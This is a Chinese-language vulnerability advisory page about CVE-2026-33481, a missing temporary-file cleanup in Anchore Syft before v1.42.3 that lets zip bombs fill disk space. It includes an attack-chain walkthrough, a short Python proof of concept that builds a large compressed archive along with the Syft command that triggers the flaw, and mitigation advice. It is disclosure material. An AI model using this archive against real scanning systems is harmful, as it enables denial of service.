IPBUF安全漏洞报告
English
CVE-2026-33481 CVSS 5.3 中危

CVE-2026-33481 Syft 临时文件清理缺失漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33481
漏洞类型
资源管理错误
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Anchore Syft

相关标签

资源管理错误拒绝服务SyftDoS临时文件

漏洞概述

Syft是一款用于生成软件物料清单(SBOM)的CLI工具及Go库。在v1.42.3之前的版本中存在一个漏洞,当扫描的内容导致临时存储空间耗尽时,Syft无法正确清理临时的存储文件。这种情况通常发生在扫描大型文件或高度压缩的恶意归档(如Zipbomb)时。一旦触发错误,Syft会异常退出,且未执行清理逻辑,导致大量临时文件残留,填满磁盘空间。这不仅阻止了Syft的后续运行,还可能影响依赖临时存储的其他系统工具,从而引发拒绝服务。

技术细节

该漏洞源于Syft在处理归档文件解压时的异常捕获机制缺陷。Syft在扫描过程中会将归档文件解压至系统临时目录以检查内容。在正常流程结束后,工具会自动删除这些临时数据。然而,在v1.42.3之前的版本中,如果解压操作导致临时存储空间被占满,程序会抛出空间不足的错误并直接退出。由于错误处理路径中未包含清理回调或defer机制,导致已解压的大量数据残留在磁盘上。攻击者可利用特制的超大文件或高压缩比Zipbomb诱导受害者扫描。一旦触发,磁盘空间将被迅速耗尽,导致系统无法创建新的临时文件,进而使Syft及其他依赖临时目录的系统服务瘫痪,造成本地拒绝服务。该漏洞利用无需认证,且利用门槛较低。

攻击链分析

STEP 1
1. 攻击准备
攻击者创建一个特制的恶意归档文件(如Zipbomb或超大文件),该文件在解压时会占用大量临时存储空间。
STEP 2
2. 诱导扫描
攻击者诱导受害者使用受影响版本的Syft工具(v1.42.3之前)扫描该恶意文件。
STEP 3
3. 触发漏洞
Syft在解压过程中填满了临时存储分区,触发存储耗尽错误,导致程序异常退出。
STEP 4
4. 资源占用
由于程序退出时未执行清理逻辑,解压产生的临时文件残留在磁盘中,占用大量空间。
STEP 5
5. 拒绝服务
磁盘空间不足导致Syft无法再次运行,并影响系统上其他依赖临时存储的工具,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-33481: Syft Temporary File Cleanup Vulnerability # This script creates a 'Zipbomb' like structure that can fill temp storage. import zipfile import os # Create a zip file containing a large file (simulating a zipbomb scenario) def create_malicious_archive(filename, uncompressed_size_mb=500): # In a real zipbomb, overlapping layers are used to achieve massive size with small files. # Here we simulate the behavior by creating a large dummy file to zip. # For testing purposes, use a smaller size to avoid crashing the test machine. dummy_content = b'0' * (1024 * 1024) # 1MB chunk with zipfile.ZipFile(filename, 'w', zipfile.ZIP_DEFLATED) as zf: # Adding a file that appears large when decompressed # Note: Actual zipbombs use compression ratios tricks. # This demonstrates the 'large artifact' trigger mentioned in the CVE. zf.writestr('large_file.txt', dummy_content * 100) print(f"[+] Created archive: {filename}") print(f"[*] Trigger command: syft {filename}") print("[*] Expected behavior on vulnerable versions:") print(" 1. Syft attempts to unpack the archive into temp storage.") print(" 2. Temp storage fills up.") print(" 3. Syft crashes with error.") print(" 4. Temporary files are NOT cleaned up, causing DoS.") if __name__ == "__main__": create_malicious_archive('cve_2026_33481_poc.zip')

影响范围

Syft < v1.42.3

防御指南

临时缓解措施
如果受影响导致临时存储空间耗尽,用户需手动删除系统临时目录中的残留文件以释放空间。建议在未升级前,避免在隔离环境外扫描不可信或异常巨大的压缩文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表